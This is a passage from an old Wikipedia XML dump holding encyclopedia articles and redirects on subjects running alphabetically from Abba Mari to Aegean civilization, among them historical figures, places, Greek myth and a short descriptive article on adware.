The correspondence refers mainly to the proposed restriction of the study of the Aristotelian philosophy. Casually, other theological questions are discussed. For example, letters 1, 5, and 8 contain a discussion on the question, whether the use of a piece of metal with the figure of a lion, as a [[talisman]], is permitted by Jewish law for medicinal purposes, or is prohibited as [[idolatry|idolatrous]]. In letter 131, Abba Mari mourns the death of Ben Adret, and in letter 132 he sends words of sympathy to the congregation of Perpignan, on the death of Don [[Solomon Vidal]] and Rabbi Meshullam. Letter 33 contains the statement of Abba Mari that two letters which he desired to insert could not be discovered by him. MS. Ramsgate, No. 52, has the same statement, but also the two letters missing in the printed copies. In the ''Sefer ha-Yarḥi'', Abba Mari refers to the great caution shown by the rabbis of old as regards the teaching of the mysteries of philosophy, and recommended by men like the [[Hai Gaon]], Maimonides, and [[David Kimhi]]. A responsum of Abba Mari on a ritual question is contained in MS. Ramsgate, No. 136; and Zunz (''Literaturgeschichte der Synagogalen Poesie,'' p. 498), mentions a ''ḳinah'' composed by Abba Mari.

The ''Minḥat Ḳenaot'' is instructive reading for the historian because it throws much light upon the deeper problems which agitated Judaism, the question of the relation of religion to the philosophy of the age, which neither the zeal of the fanatic nor the bold attitude of the liberal-minded could solve in any fixed dogmatic form or by any anathema, as the independent spirit of the congregations refused to accord to the rabbis the power possessed by the [[Church]] of dictating to the people what they should believe or respect. At the close of the work are added several eulogies written by Abba Mari on Ben Adret (who died in 1310), and on Don Vidal, [[Solomon of Perpignan]], and Don [[Bonet Crescas]] of Lunel.

Bibliography: Geiger, ''Zeit. für Jüdische Theologie,'' v. 82; Zunz, ''Z. G.'' p. 477; Renan, ''Les Rabbins Français,'' pp. 647-695; Gross, ''Gallia Judaica,'' pp. 286, 331, 466; ''idem'', in ''Rev. Ét. Juives,'' 1882, pp. 192-207; Perles, ''Salomo ben Abraham ben Adereth und seine Schriften,'' pp. 15-54; Grätz, ''Gesch. der Juden,'' iii. 27-50, Breslau, 1863. 

{{Wikisource1911Enc|Abba Mari}}
{{JewishEncyclopedia}}

[[Category:Middle Ages rabbis]]

[[fr:Abba Mari]]</text>
    </revision>
  </page>
  <page>
    <title>Abbas II of Egypt</title>
    <id>2609</id>
    <revision>
      <id>40387871</id>
      <timestamp>2006-02-20T05:20:24Z</timestamp>
      <contributor>
        <username>El C</username>
        <id>92203</id>
      </contributor>
      <comment>[[he:עבאס המצרי השני]]</comment>
      <text xml:space="preserve">[[Image:Abbas Helmi.jpg|right]]'''Abbas Hilmi Pasha''' or '''Abbas II''' ([[Arabic language|Arabic]]: عباس حلمي باشا) ([[July 14]], [[1874]] &amp;ndash; [[1944]]) was the last ''[[khedive]]'' of [[Egypt]] ([[January 8]], [[1892]] &amp;ndash; [[1914]]).

Abbas Hilmi Pasha was the great-great-grandson of [[Mehemet Ali (Egypt)|Mehmet Ali]]. He succeeded his father, [[Tewfik Pasha]], as ''khedive'' of Egypt. When a boy he visited [[England]], and he had an English tutor for some time in [[Cairo]]. He then went to school in [[Lausanne]], and from there passed on to the [[Theresianum]] in [[Vienna]]. In addition to [[Turkish language|Turkish]], his [[mother tongue]], he acquired fluency in [[Arabic language|Arabic]], and a good conversational knowledge of [[English language|English]], [[French language|French]] and [[German language|German]].

He was still at college in Vienna when the sudden death of his father raised him to the ''Khedivate''; and he was barely of age according to [[Turkey|Turkish]] law, which fixes majority at eighteen in cases of succession to the throne. For some time he did not cooperate very cordially with [[Great Britain]]. He was young and eager to exercise his new power. His throne and life had not been saved for him by the British, as was the case with his father. He was surrounded by intriguers who were playing a game of their own, and for some time he appeared almost disposed to be as reactionary as his great-uncle [[Abbas I of Egypt|Abbas I]].

But in process of time he learnt to understand the importance of [[United Kingdom|British]] counsels. He paid a second visit to England in 1900, during which he frankly acknowledged the great good the British had done in Egypt, and declared himself ready to follow their advice and to cooperate with the British officials administering Egyptian affairs. The establishment of a sound system of native justice, the great remission of taxation, the reconquest of the [[Sudan]], the inauguration of the substantial irrigation works at [[Aswan]], and the increase of cheap, sound education, each received his approval and all the assistance he could give. He displayed more interest in [[agriculture]] than in statecraft, and his farm of cattle and horses at [[Koubah]], near Cairo, would have done credit to any agricultural show in England; at [[Montaza]], near [[Alexandria]], he created a similar establishment. He married the Princess [[Ikbal Hanem]] and had several children. [[Prince Muhammad Abdul Moneim|Muhammad Abdul Moneim]], the heir-apparent, was born on [[February 20]], [[1899]].

When the [[Ottoman Empire]] joined the [[Central Powers]] in [[World War I]], Britain declared Egypt a British [[protectorate]] and deposed Abbas. He retired to [[Switzerland]], where he died.

{{Wikisource1911Enc|Abbas II}}
{{1911}}

{{start box}}
{{succession box|title=[[Khedive of Egypt]]|before=[[Tawfiq of Egypt]]|after=''[[Rulers and heads of state of Egypt|Sultan]] [[Husayn Kamil]] ''|years=1892&amp;ndash;1914}}
{{end box}}

[[Category:1874 births]]
[[Category:1944 deaths]]
[[Category:Khedives of Egypt]]
[[Category:Knights Grand Cross of the Bath]]
[[Category:Knights Grand Cross of St Michael and St George]]
[[Category:Knights Grand Cross of the Royal Victorian Order]]
[[Category:Recipients of the Royal Victorian Chain]]

[[de:Abbas II. (Ägypten)]]
[[he:עבאס המצרי השני]]
[[id:Abbas II]]
[[it:Abbas Hilmi II]]
[[zh:阿拔斯二世 (埃及)]]</text>
    </revision>
  </page>
  <page>
    <title>Abbas Mirza</title>
    <id>2610</id>
    <revision>
      <id>35393855</id>
      <timestamp>2006-01-16T12:26:52Z</timestamp>
      <contributor>
        <username>Databot</username>
        <id>748718</id>
      </contributor>
      <text xml:space="preserve">[[Image:AbbasMirza.gif|frame|right|80px|'Prince Abbas Mirza']]

'''Abbas Mirza ''' (&amp;#1593;&amp;#1576;&amp;#1575;&amp;#1587; &amp;#1605;&amp;#1740;&amp;#1585;&amp;#1586;&amp;#1575; in [[Persian language|Persian]]) &amp;lrm;([[August 26]], [[1789]]-[[October 25]], [[1833]]), was a [[crown prince]] of [[Iran|Persia]], known because of his wars with [[Russia]] and the [[Ottoman Empire]], and his death before his father, the [[shah]]. Abbas was an intelligent prince, possessed some literary taste, and is noteworthy on account of the comparative simplicity of his life.

He was a younger son of [[Fath Ali Shah]], but on account of his mother's royal birth was destined by his father to succeed him. Entrusted with the government of a part of Persia, he sought to rule it in European fashion, and employed officers to reorganize his army. He was soon at war with Russia, and his aid was eagerly solicited by both [[England]] and [[Napoleon]], anxious to checkmate one another in the East. Preferring the friendship of [[France]], Abbas Mirza continued the war against Russia's [[General Kotlyarevsky]], but his new ally could give him very little assistance, and in October, [[1813]], Persia was compelled to make a disadvantageous peace, ceding some territory in the [[Caucasus]] (present-day [[Georgia (country)|Georgia]], [[Dagestan]], and most of the [[Republic of Azerbaijan]]).

He gained some successes during a war between the Ottoman Empire and Persia which broke out in [[1821]], but a peace treaty was signed in [[1823]] at [[Erzurum]], after failed attacks from both sides. His second war with Russia, which began in [[1826]], succeeded as little as the first one, and Persia was forced to cede nearly all of its [[Armenia]]n territories and [[Nakhchivan]]. When peace was made in February, [[1828]], Abbas Mirza then sought to restore order in the province of [[Khorasan]], which was nominally under Persian supremacy, and while engaged in the task died at [[Meshed]] in [[1833]]. In [[1834]] his eldest son, [[Mohammed Mirza]], succeeded Fath Ali as shah.

He is most remembered for his valor in battle and his attempts to modernize the Persian army, unsuccessful due to the lack of government centralization in Iran during the era.

== References ==
{{Wikisource1911Enc|Abbas Mirza}}
* [[The Persian Encyclopedia]], the articles on ''Abbas Mirza'', ''Persia-Russia Wars'', ''Persia-Ottoman wars'', ''Golestan Treaty'', and ''Torkaman-Chay Treaty''.
{{1911}}

''Modern Iran''. Keddie, Nikki.

[[Category:1789 births|Mirza, Abbas]]
[[Category:1833 deaths|Mirza, Abbas]]
[[Category:Iranian royalty]]

[[ru:&amp;#1040;&amp;#1073;&amp;#1073;&amp;#1072;&amp;#1089;-&amp;#1052;&amp;#1080;&amp;#1088;&amp;#1079;&amp;#1072;]]
[[fr:Abbas Mirza]]</text>
    </revision>
  </page>
  <page>
    <title>Abbon of Fleury</title>
    <id>2612</id>
    <revision>
      <id>15901008</id>
      <timestamp>2003-08-31T19:49:16Z</timestamp>
      <contributor>
        <username>Adam Bishop</username>
        <id>13008</id>
      </contributor>
      <minor />
      <comment>#REDIRECT [[Abbo of Fleury]]</comment>
      <text xml:space="preserve">#REDIRECT [[Abbo of Fleury]]</text>
    </revision>
  </page>
  <page>
    <title>George Abbot (Archbishop of Canterbury)</title>
    <id>2613</id>
    <revision>
      <id>36753797</id>
      <timestamp>2006-01-26T05:58:21Z</timestamp>
      <contributor>
        <username>Dystopos</username>
        <id>99791</id>
      </contributor>
      <comment>cat</comment>
      <text xml:space="preserve">[[image:abp-g-abbot.jpg|frame|Archbishop George Abbot by an unknown artist, in the collection of Balliol College.]]

'''George Abbot''' ([[October 19]], [[1562]] &amp;ndash; [[August 5]], [[1633]]) was an [[England|English]] divine, [[Archbishop of Canterbury]], born at [[Guildford]] in Surrey, where his father was a cloth-worker.  He studied, and then taught, at [[Balliol College, Oxford]], was chosen Master of [[University College, Oxford|University College]] in [[1597]], and appointed [[Dean (religion)|Dean]] of [[Winchester Cathedral|Winchester]] in [[1600]].  He was three times [[Vice-Chancellor]] of the [[University of Oxford|university]], and took a leading part in preparing the authorized version of the [[New Testament]].

In [[1608]] he went to [[Scotland]] with [[George Home, 1st Earl of Dunbar]] to arrange for a union between the churches of [[England]] and Scotland.  He so pleased [[James I of England|King James]] in this affair that he was made [[Bishop of Lichfield and Coventry]] in [[1609]], was translated to the See of [[Bishop of London|London]] a month afterwards, and in less than a year was raised to that of [[Archbishop of Canterbury|Canterbury]].  His [[puritan]] instincts frequently led him not only into harsh treatment of [[Roman Catholic Church|Roman Catholic]]s, but also into courageous resistance to the royal will, e.g. when he opposed the scandalous divorce suit of the Lady Frances Howard against the [[Earl of Essex]], and again in 1618 when, at [[Croydon]], he forbade the reading of the declaration permitting [[Sunday sports]].  He was naturally, therefore, a promoter of the match between the [[elector palatine]] and the Princess Elizabeth, and a firm opponent of the projected marriage of the Prince of [[Wales]] with the Infanta of Spain.  This policy brought upon him the hatred of [[William Laud]] (with whom he had previously come into collision at Oxford) and the court, though the King himself never forsook him.

In [[1622]], while hunting in [[Lord Zouch]]'s park at [[Bramshill]] in [[Hampshire]], a bolt from his cross-bow aimed at a deer happened to strike one of the keepers, who died within an hour, and Abbot was so greatly distressed by the event that he fell into a state of settled [[melancholia]].  His enemies maintained that the fatal issue of this accident disqualified him for his office, and argued that, though the homicide was involuntary, the sport of [[hunting]] which had led to it was one in which no clerical person could lawfully indulge.  The King had to refer the matter to a commission of ten, though he said that &quot;an angel might have miscarried after this sort.&quot; The commission was equally divided, and the King gave a casting vote in the Archbishop's favour, though signing also a formal pardon or dispensation.

After this the Archbishop seldom appeared at the Council, chiefly on account of his infirmities. He attended the King constantly, however, in his last illness, and performed the ceremony of the coronation of [[Charles I of England|King Charles I]]. His refusal to license the [[assize sermon]] preached by Dr [[Robert Sibthorp]] at Northampton on [[February 22]] 1627, in which cheerful obedience was urged to the king's demand for a general loan, and the duty proclaimed of absolute non-resistance even to the most arbitrary royal commands, led Charles to deprive him of his functions as Primate, putting them in commission. The need of summoning parliament, however, soon brought about a nominal restoration of the Archbishop's powers.  His presence being unwelcome at court, he lived from that time in retirement, leaving Laud and his party in undisputed ascendancy.  He died at Croydon on the [[August 5]] 1633, and was buried at Guildford, his native place, where he had endowed a hospital with lands to the value of £300 a year.

Abbot was a conscientious prelate, though narrow in view and often harsh towards both separatists and Roman Catholics.  He wrote a large number of works, the most interesting being his discursive ''Exposition on the Prophet Jonah'' (1600), which was reprinted in 1845.  His ''Geography, or a Brief Description of the Whole World'' (1599), passed through numerous editions. 

The best account of him is in [[Samuel Rawson Gardiner|S. R.  Gardiner]]'s ''History of England''.

Guildford remembers the Archbishop with a statue in the High Street, a pub and also a secondary school([[George Abbot School]] named after him.

{{Wikisource1911Enc|Abbot, George (Archbishop)}}
{{start box}}
{{succession box | title=[[Archbishop of Canterbury]] | before=[[Richard Bancroft]] | after=[[William Laud]] | years=1611&amp;ndash;1633}}
{{succession box | title=[[Lord High Treasurer|First Lord of the Treasury]] | before=[[Thomas Howard, 1st Earl of Suffolk|The Earl of Suffolk]]'''&lt;br&gt;(Lord High Treasurer) | after=[[Henry Montagu, 1st Viscount Mandeville|The Viscount Mandeville]]'''&lt;br&gt;(Lord High Treasurer) | years=1618&amp;ndash;1620}}
{{end box}}

[[Category:1562 births|Abbot, Archbishop George]]
[[Category:1633 deaths|Abbot, Archbishop George]]
[[Category:Archbishops of Canterbury|Abbot, George]]
[[Category:Former students of Balliol College, Oxford|Abbot, George]]
[[Category:Fellows of University College, Oxford|Abbot, George]]
[[Category:Translators of the King James version of the bible|Abbot, George]]

[[de:George Abbot]]
[[fr:George Abbot (archevêque)]]
[[pl:George Abbot]]
[[ru:Аббот, Джордж]]
[[sv:George Abbot]]</text>
    </revision>
  </page>
  <page>
    <title>Artemus Ward</title>
    <id>2615</id>
    <revision>
      <id>15901010</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Charles Farrar Browne]]
</text>
    </revision>
  </page>
  <page>
    <title>Adware</title>
    <id>2616</id>
    <revision>
      <id>42044223</id>
      <timestamp>2006-03-03T12:14:56Z</timestamp>
      <contributor>
        <username>Tor Stein</username>
        <id>796442</id>
      </contributor>
      <minor />
      <comment>+iw:no</comment>
      <text xml:space="preserve">'''Adware''' or '''advertising-supported software''' is any [[Computer software|software]] package which automatically plays, displays, or downloads advertising material to a computer after the software is installed on it or while the application is being used.

== Application ==
Adware is software integrated into or bundled with a program. It is usually seen by the [[programmer]] as a way to recover programming development costs, and in some cases it may allow the program to be provided to the user free of charge or at a reduced price. The advertising income may allow or motivate the programmer to continue to write, maintain and upgrade the software product.

Some adware is also [[shareware]], and so the word may be used as term of distinction to differentiate between types of shareware software.  What differentiates adware from other shareware is that it is primarily advertising-supported. Users may also be given the option to pay for a &quot;registered&quot; or &quot;licensed&quot; copy to do away with the advertisements.

== Controversy ==
There are concerns about adware because it often takes the form of [[spyware]], in which information about the user's activity is tracked, reported, and often re-sold, often without the knowledge or consent of the user.  Of even greater concern is [[malware]], which may interfere with the function of other software applications, in order to force users to visit a particular web site.

It is not uncommon for people to confuse &quot;adware&quot; with &quot;spyware&quot; and &quot;malware&quot;, especially since these concepts overlap.  For example, if one user installs &quot;adware&quot; on a computer, and consents to a tracking feature, the &quot;adware&quot; becomes &quot;spyware&quot; when another user visits that computer, and interacts with and is tracked by the &quot;adware&quot; without their consent.

Spyware has prompted an outcry from [[computer security]] and [[privacy]] advocates, including the [[Electronic Privacy Information Center]] [http://www.epic.org]. Often, spyware applications send the user's browsing habits to an adserving company, which then targets adverts at the user based on their interests. [[Kazaa]] and [[eXeem]] are popular programs which incorporate software of this type.

Adware programs other than spyware do not invisibly collect and upload this activity record 
or personal information when the user of the computer has not expected
or approved of the transfer, but some vendors of adware maintain that their application which
does this is not also spyware, due to disclosure of program activities: for example, a 
product vendor may indicate that since somewhere in the product's [[Terms of Use]] there is a clause 
that third-party software will be included that may collect and may report on computer use, that 
this Terms of Use disclosure means the product is just adware.

A number of software applications are available to help computer users search for and modify adware programs to block the presentation of advertisements and to remove spyware modules. To avoid a backlash, as with the advertising industry in general, creators of adware must balance their attempts to generate revenue with users' desire to be left alone.

==Well-known adware programs==
* [[123 Messenger]]
* [[180 Solutions]]
** [[180SearchAssistant]]
** [[Zango]]
* [[Bonzi Buddy]]
* [[ClipGenie]]
* [[Comet Cursor]]
* [[Cydoor]]
* [[Direct Revenue]]
** [[Aurora]]
* [[Ebates MoneyMaker]]
* [[Claria Corporation|Gator]]
* [[PornDigger!]]
* [[WinFixer]]

==External links==
* [http://www.vernalex.com/guides/malware/ Vernalex.com's Malware Removal Guide] - Guide for understanding, removing and preventing adware infections
* [http://www.spywarepoint.com/spyware/ Spyware Point Database] - Manual removal instructions for adware and spyware
* [http://www.phx-web.co.uk/forum/index.php?topic=21.0 Spyware / Adware Removal Tutorial] - Spyware / Adware Removal Tutorial

{{software distribution}}

[[Category:Adware|*]]
[[Category:Internet advertising and promotion]]

[[ar:Adware]]
[[da:Adware]]
[[de:Adware]]
[[es:Adware]]
[[fi:Mainosohjelma]]
[[fr:Adware]]
[[gl:Adware]]
[[he:תוכנת פרסום]]
[[it:Adware]]
[[ja:アドウェア]]
[[nl:Adware]]
[[no:Adware]]
[[pl:Adware]]
[[simple:Adware]]
[[sv:Adware]]
[[vi:Phần mềm quảng cáo]]</text>
    </revision>
  </page>
  <page>
    <title>Adam's Peak</title>
    <id>2617</id>
    <revision>
      <id>35144263</id>
      <timestamp>2006-01-14T13:35:31Z</timestamp>
      <contributor>
        <username>Imc</username>
        <id>17145</id>
      </contributor>
      <text xml:space="preserve">#redirect [[Sri Pada]]</text>
    </revision>
  </page>
  <page>
    <title>Aeacus</title>
    <id>2618</id>
    <revision>
      <id>40359992</id>
      <timestamp>2006-02-20T01:23:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">In [[Greek mythology]], '''Aeacus''' ([[Ancient Greek|Greek]]: '''Aiakos''', &quot;bewailing&quot; or &quot;earth borne&quot;) was king in the island of [[Aegina]] in the [[Saronic Gulf]]. He was far-famed for the righteous sense of piety and justice with which he ruled over his people and his judgment was sought all over Hellas, so much so that, after his death, he was appointed one of the judges of the shades in [[Erebus]], with Cretan [[Minos]] and [[Rhadamanthus]]. Rhadamanthus judged the souls of easterners, Aeacus judged [[Hellenes]] and Minos had the deciding vote, a later elaboration of the myth tells. 

Aeacus was the son of [[Zeus]] and [[Aegina (mythology)|Aegina]], daughter of the river-god [[Asopus]].  Thus in his birthright he linked the Olympians with the immemorial [[chthonic]] water spirits of the land. His mother was carried off by Zeus to the island of [[Oenone]], which was afterwards called by her name.

When Aeacus' kingdom had a horrific plague, he prayed to his father Zeus for help.  The king of the gods changed the local ants into people ([[Ovid]], ''[[Metamorphoses (poem)|Metamorphoses]]'' vii. 520), who were called [[Myrmidones]]. Aeacus was the ancestor of the [[Aeacidae]].

By his wife [[Endeis]] he was the father of [[Telamon]] and [[Peleus]] (the father of [[Achilles]]).  By [[Psamathe]], he fathered [[Phocus]].

His successful prayer to Zeus for rain at a time of drought (Isocrates, Evagoras, 14) was commemorated by a temple at Aegina ([[Pausanias (geographer)|Pausanias]] ii. 29). He himself erected a temple to [[Zeus]] and helped [[Poseidon]] and [[Apollo (god)|Apollo]] to build the walls of [[Troy]].

No other of the archaic priest-kings who ruled Aegina are remembered by the mythographers, for the grandsons of Aeacus, Phocus' sons Panopeus and Crisus left Aegina to settle in [[Phocis]], a region bordering the Gulf of Corinth west of Boeotia.

[[Alexander the Great]] traced his ancestry (through his mother) to Aeacus.

In [[Masami Kurumada]]'s anime [[Saint Seiya]], Aeacus is one of the three Generals of the Underworld, and wears the surplice of Garuda, Celestial Superior Star.

==External links==
*[http://homepage.mac.com/cparada/GML/Aeacus.html Greek Mythology Link:] Aeacus   

==References==
*{{1911}}

[[ast:Éacu]]
[[de:Aiakos]]
[[es:Éaco]]
[[fr:Éaque]]
[[hu:Aiakosz]]
[[it:Eaco]]
[[lt:Ajakas]]
[[nl:Aeacus]]
[[ja:アイアコス]]
[[no:Aeakus]]
[[fi:Aiakos]]
[[sv:Aiakos]]</text>
    </revision>
  </page>
  <page>
    <title>Aeclanum</title>
    <id>2619</id>
    <revision>
      <id>35484439</id>
      <timestamp>2006-01-17T02:11:09Z</timestamp>
      <contributor>
        <username>Mlouns</username>
        <id>327771</id>
      </contributor>
      <minor />
      <comment>Updated internal link</comment>
      <text xml:space="preserve">'''Aeclanum''' was an ancient town of [[Samnium]], [[Italy]], 15 m.  E.S.E. of [[Beneventum]], on the [[Via Appia]] (near the modern [[Mirabella Eclano]]).

It became the chief town of the [[Hirpini]] after [[Benevento|Beneventum]] had become a [[Rome|Roman]] [[colony]].

[[Lucius Cornelius Sulla|Sulla]] captured it in [[89 BC]] by setting on fire the wooden breastwork by which it was defended, and new fortifications were erected.

[[Hadrian]], who repaired the Via Appia from Beneventum to this point, made it a colony; it has ruins of the city walls, of an [[aqueduct (Roman)|aqueduct]], baths and an [[amphitheatre]]; nearly 400 inscriptions have also been discovered.

Two different routes to [[Apulia]] diverged at this point, one (Via Aurelia Aeclanensis) leading through the modern [[Ariano]] to [[Herdoniae]], the other (the Via Appia of the Empire) passing the [[Lacus Ampsanctus]] and going on to [[Aquilonia]] and [[Venusia]]; while the road from Aeclanum to [[Abellinum]] (mod.  [[Avellino]]) may also follow an ancient line.

H. Nissen (''Italische Landeskunde,'' [[Berlin]], [[1902]], ii. 819) speaks of another road, which he believes to have been that followed by [[Horace]], from Aeclanum to [[Trevicum]] and thence to [[Ausculum]]; but Th. [[Mommsen]] (''Corpus Inscrip. Lat.,'' Berlin, [[1883]], ix. 602) is more likely to be right in supposing that the road taken by Horace ran directly from Beneventum to Trevicum and thence to Aquilonia (though the course of this road is not yet determined in detail), and that the easier, though somewhat longer, road by Aeclanum was of later date.


==External links==
*[http://spazioinwind.libero.it/popoli_antichi/altro/Aeclanum.html Aeclanum] (with photographs)

==References==
*{{1911}}

[[Category:Roman sites of Campania]]</text>
    </revision>
  </page>
  <page>
    <title>Aedesius</title>
    <id>2620</id>
    <revision>
      <id>27959467</id>
      <timestamp>2005-11-10T21:36:20Z</timestamp>
      <contributor>
        <username>Bluebot</username>
        <id>527862</id>
      </contributor>
      <minor />
      <comment>Standardising 1911 references.</comment>
      <text xml:space="preserve">'''Aedesius ''' (died [[355]]), [[Neo-Platonism|Neoplatonist]] philosopher, was born of a noble [[Cappadocia|Cappadocian]] family.  He migrated to [[Syria]], attracted by the lectures of [[Iamblichus (philosopher)|Iamblichus]], of whom he became a follower.  According to [[Eunapius]], he differed from Iamblichus on certain points connected with [[theurgy]] and [[magic (paranormal)|magic]].  He taught at [[Pergamum]], his chief disciples being [[Eusebius]] and Maximus.  He seems to have modified his doctrines through fear of [[Constantine II of the Roman Empire|Constantine]]. 

See [[Heinrich Ritter|Ritter]] and [[Ludwig Preller|Preller]], 552; Ritter's ''Geschichte der Philosophie''; T Whittaker, ''The Neoplatonists'' ([[Cambridge]], [[1901]]).

==References==
*{{1911}}

[[Category:Roman era philosophers]]
[[Category:355 deaths]]</text>
    </revision>
  </page>
  <page>
    <title>Aedicula</title>
    <id>2621</id>
    <revision>
      <id>40588271</id>
      <timestamp>2006-02-21T17:34:33Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: sk</comment>
      <text xml:space="preserve">In [[Roman religion]], an '''aedicula''' (pl. ''aediculae'') is a small [[shrine]]. The word ''aedicula'' is the [[diminutive]] of the [[Latin]] ''aedis'' or ''[[aedes (Roman)|aedes]]'', a temple or house; thus, an aedicula is literally a small house or [[temple]].

Many aediculae were household [[shrine]]s that held small [[altar]]s or [[statue]]s of the [[Lares]] and [[Penates]]. The Lares were [[Roman religion|Roman deities]] protecting the house and the family household gods. The Penates were originally patron gods (really [[genius (mythology)|genii]]) of the storeroom, later becoming household gods guarding the entire house.
[[image:Ephesus_library-650px.jpg|thumb|250px|[[front]] of [[Celsus]]-Library with Aediculae]]
Other aediculae were small shrines within larger [[temple]]s, usually set on a base, surmounted by a pediment and surrounded by columns. In the Roman architecture the aedicula has except this a representiv funcion in the society. They're applied at public buildings like the [[Triumphal arch]] or [[City gate]] or [[Therm]]es. The [[Celsus]]-Library in [[Ephesus]] (2. c. AD) is their a good example.

In the [[Greek religion]] is a similar small shrine the [[Naiskos]]. But it's determineted exclusively religious.

In the [[Cemeteries]] as a part of the funeral architecture the aedicula exists today yet. The aedicula is to meet in  public buildings like  the Entrance to the subway.



==References==
*Adkins, Lesley &amp; Adkins, Roy A. (1996). ''Dictionary of Roman Religion''. Facts on File, inc. ISBN 0-8160-3005-7.
*{{1911}}




[[Category:Religious buildings]]

[[de:Ädikula]]
[[fr:Édicule]]
[[it:Edicola]]
[[nl:Aedicula]]
[[pl:Aedicula]]
[[sk:Edikula]]
[[sv:Ädikula]]</text>
    </revision>
  </page>
  <page>
    <title>Aedui</title>
    <id>2622</id>
    <revision>
      <id>35995708</id>
      <timestamp>2006-01-20T20:04:08Z</timestamp>
      <contributor>
        <username>Eskimbot</username>
        <id>477460</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca, fi</comment>
      <text xml:space="preserve">[[Image:Map Gaul.gif|thumb|A map of [[Gaul]] showing the relative position of the [[Aedui]] tribe.]]

'''Aedui''', Haedui  or Hedui (Gr. ''Aidouoi''), are [[Gallic]] people of [[Gallia Lugdunensis]], who inhabited the country between the Arar ([[Saone]]) and Liger ([[Loire]]), in today's [[France]].

The statement in [[Strabo]] (ii. 3. 192) that they dwelt between the Arar and Dubis ([[Doubs]]) is incorrect.  Their territory thus included the greater part of the modern departments of [[Saône-et-Loire]], [[Côte-d'Or]] and [[Nièvre]].  According to [[Livy]] (v. 34), they took part in the expedition of [[Bellovesus]] into [[Italy]] in the [[6th century BC]].

Before [[Julius Caesar|Caesar]]'s time they had attached themselves to the [[Ancient Rome|Romans]], and were honoured with the title of brothers and kinsmen of the Roman people.  When the [[Sequani]], their neighbours on the other side of the [[Arar]], with whom they were continually quarrelling, invaded their country and subjugated them with the assistance of a [[Germanic tribes|Germanic]] chieftain named [[Ariovistus]], the Aedui sent [[Divitiacus]], the [[Druidry|druid]], to [[Rome]] to appeal to the [[Roman Senate|senate]] for help, but his mission was unsuccessful.

On his arrival in [[Gaul]] ([[58 BC]]), Caesar restored their independence.  In spite of this, the Aedui joined the Gallic coalition against Caesar (''B. G.'' vii. 42), but after the surrender of [[Vercingetorix]] at [[Alesia]] were glad to return to their allegiance.  [[Caesar Augustus|Augustus]] dismantled their native capital [[Bibracte]] on [[Mont Beuvray]], and substituted a new town with a half-Roman, half-Gaulish name, Augustodunum (modern [[Autun]]).

In [[21]], during the reign of [[Tiberius]], they revolted under [[Julius Sacrovir]], and seized [[Augustudunum]], but were soon put down by Gaius Silius ([[Gaius Cornelius Tacitus|Tacitus]] ''[[Annals (Tacitus)|Ann.]]'' iii. 43-46).  The Aedui were the first of the Gauls to receive from the emperor [[Claudius]] the distinction of ''[[jus honorum]]''.  The oration of [[Eumenius]], in which he pleaded for the restoration of the schools of his native place Augustodunum, shows that the district was neglected.  The chief magistrate of the Aedui in Caesar's time was called [[Vergobretus]] (according to [[Theodor Mommsen|Mommsen]], &quot;judgment-worker&quot;), who was elected annually, possessed powers of life and death, but was forbidden to go beyond the frontier. Certain clientes, or small communities, were also dependent upon the Aedui. 

==See also==
* [[List of peoples of Gaul]]

==References==
* A. E. Desjardins, ''Geographie de la Gaule,'' ii. ([[1876]]-[[1893]])
* T. R. Holmes, ''Caesar's Conquest of Gaul'' ([[1899]]).

{{1911}}

[[Category:Ancient Roman enemies and allies]]
[[Category:Ancient Gauls]]

[[ca:Aduins]]
[[de:Haeduer]]
[[fr:Éduens]]
[[nl:Aedui]]
[[ru:Эдуи]]
[[fi:Heedut]]</text>
    </revision>
  </page>
  <page>
    <title>Aegadian Islands</title>
    <id>2623</id>
    <revision>
      <id>35137326</id>
      <timestamp>2006-01-14T11:42:37Z</timestamp>
      <contributor>
        <username>Bjs-en</username>
        <id>731867</id>
      </contributor>
      <minor />
      <comment>area</comment>
      <text xml:space="preserve">[[Image:Aegadian Islands map.png|thumb|right|A map showing the Aegadian Islands.]]

The '''Aegadian Islands ''' ([[Italian language|Italian]]: ''Isole Egadi''; [[Latin language|Latin]]: ''Aegates Insulae''), are a group of small mountainous islands in the [[Mediterranean Sea]] off the northwest coast of [[Sicily]], [[Italy]], near the city of [[Trapani]], with a total area of 37,45 km².  

[[Favignana]] (''Aegusa''), the largest, lies 10 miles south west of [[Trapani]]; [[Levanzo]] (''Phorbantia'') 8 miles west; while [[Marettimo]], the ancient ''Iera Nesos'', 15 miles west of Trapani, is now reckoned as a part of the group. There are also some minor islands between Favignana and Sicily.  

The overall population in 1987 was estimated at about 5,000. The main occupation of the islanders is fishing and this is where the largest [[tuna]] fishery in Sicily can be found.

[[Image:Erice-bjs-6.jpg|thumb|right|A view from Trapani to Favignana and Marettimo.]]

There is evidence of [[Neolithic]] and even [[Paleolithic]] paintings in caves on Favigana and on Levanzo.

They are the scene of the [[Battle of the Aegates Islands|defeat]] of the [[Carthage|Carthaginian]] fleet by [[Gaius Lutatius Catulus|C. Lutatius Catulus]] in [[241 BC]], which ended the [[First Punic War]].

They belonged to the Pallavicini family of [[Genoa]] until [[1874]], when they were bought by [[Florio]] family of [[Palermo]].

[[Category:Islands of Sicily]]

[[de:Ägadische Inseln]]
[[it:Isole Egadi]]</text>
    </revision>
  </page>
  <page>
    <title>Aegean civilization</title>
    <id>2624</id>
    <revision>
      <id>41195546</id>
      <timestamp>2006-02-25T18:32:14Z</timestamp>
      <contributor>
        <username>Demoscn</username>
        <id>989534</id>
      </contributor>
      <minor />
      <text xml:space="preserve">{{History of Greece}}
'''Aegean civilization''' is the general term for the prehistoric [[civilization]]s in [[Greece]] and the [[Aegean Sea|Aegean]]. It was formerly called &quot;Mycenaean&quot; because its existence was first brought to popular notice by [[Heinrich Schliemann]]'s excavations at [[Mycenae]] starting in [[1876]]. However, subsequent discoveries have made it clear that Mycenae was not the chief center of Aegean civilization in its earlier stages (or perhaps at any period), and accordingly it is more usual now to use the more general geographical title. 

==Distinctive features==
The uniqueness of Aegean civilization has never been in doubt, since its remains came to be studied seriously.
